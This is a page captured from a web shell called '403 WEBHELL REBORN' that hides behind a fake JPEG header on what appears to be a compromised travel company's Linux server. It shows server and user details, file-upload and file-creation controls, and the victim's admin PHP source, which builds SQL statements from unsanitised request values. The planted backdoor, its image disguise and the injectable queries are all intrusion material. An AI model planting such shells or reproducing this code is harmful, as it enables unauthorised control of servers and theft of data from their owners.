ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/work_request/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/work_request/pca_member_proc.php
<?
	include "../include/top_proc.html"; //공통파일 인클루드
	include "_common.php";

	//deanLog("process_mode", $process_mode, "k1");

	// PC알리미 사용여부
	if (strtoupper($cf['pca_yn']) != "Y") {
		//echo "F|PC알리미 미사용 고객입니다."; // ajax 호출이 있기 때문 (pcalim_use_modify 모드)
		exit;
	}

	include_once($cf['path'] . "/Lib/pca_send_common.php");

	switch ($process_mode) {
		case "pcalim_use_modify":
			//deanLog("mb_id", $mb_id, "k1");
			//deanLog("flag_use_pcalim_source", $flag_use_pcalim_source, "k1");
			//deanLog("flag_use_pcalim", $flag_use_pcalim, "k1");
			//deanLog("del_flag", $del_flag, "k1");

			$socket_send_result = "";

			// 퇴사 or 사용->미사용 =====> PC알리미 미사용 처리
			if (($del_flag == "Y") || (($flag_use_pcalim_source == "Y") && ($flag_use_pcalim == "N"))) {
				// PC알리미 서버
				$socket_send_result = pca_send_WS03($cf['pca_customer_id'], $mb_id, "REMOVE");
				if ($socket_send_result && (substr($socket_send_result, 0, 1) == "T")) {
					$sql = " delete from TB_PCA_ALIM_MEMBER where mb_id = '{$mb_id}' ";
					//deanLog("sql", $sql, "k1");
					db_query($sql);

					$sql = " delete from TB_PCA_ACCOUNT_MEMBER where mb_id = '{$mb_id}' ";
					//deanLog("sql", $sql, "k1");
					db_query($sql);

					$sql = " delete from TB_PCA_MEMBER where mb_id = '{$mb_id}' ";
					//deanLog("sql", $sql, "k1");
					db_query($sql);
				}
			}
			// 미사용->사용 =====> PC알리미 사용 처리
			elseif (($flag_use_pcalim_source == "N") && ($flag_use_pcalim == "Y")) {
				// PC알리미 서버
				$socket_send_result = pca_send_WS03($cf['pca_customer_id'], $mb_id, "ADD");
				if ($socket_send_result && (substr($socket_send_result, 0, 1) == "T")) {
					$auth_key = date("YmdHis");
					$sql = " insert into TB_PCA_MEMBER (mb_id, auth_key, auth_datetime) values ('{$mb_id}', '{$auth_key}', now()) on duplicate key update mb_id = '{$mb_id}' ";
					//deanLog("sql", $sql, "k1");
					db_query($sql);
				}
			}

			//deanLog("socket_send_result", $socket_send_result, "k1");
			echo $socket_send_result;
			break;

		case 'auth_key_refresh':
			$sql = " update TB_PCA_MEMBER set auth_key = '" . date('YmdHis') . "' , auth_datetime = now(), client_key = null where mb_id = '{$MemberID}' ";
			//deanLog("sql", $sql, "k1");
			db_query($sql);

			// PC알리미 서버
			pca_send_WS11($cf['pca_customer_id'], $MemberID);

			echo "<script type='text/javascript'>
				  window.alert('PC알리미 인증키가 갱신되었습니다.');
				  top.location.replace('../');
				  </script>
				  ";

			break;
	}
?>

Anon7 - 2021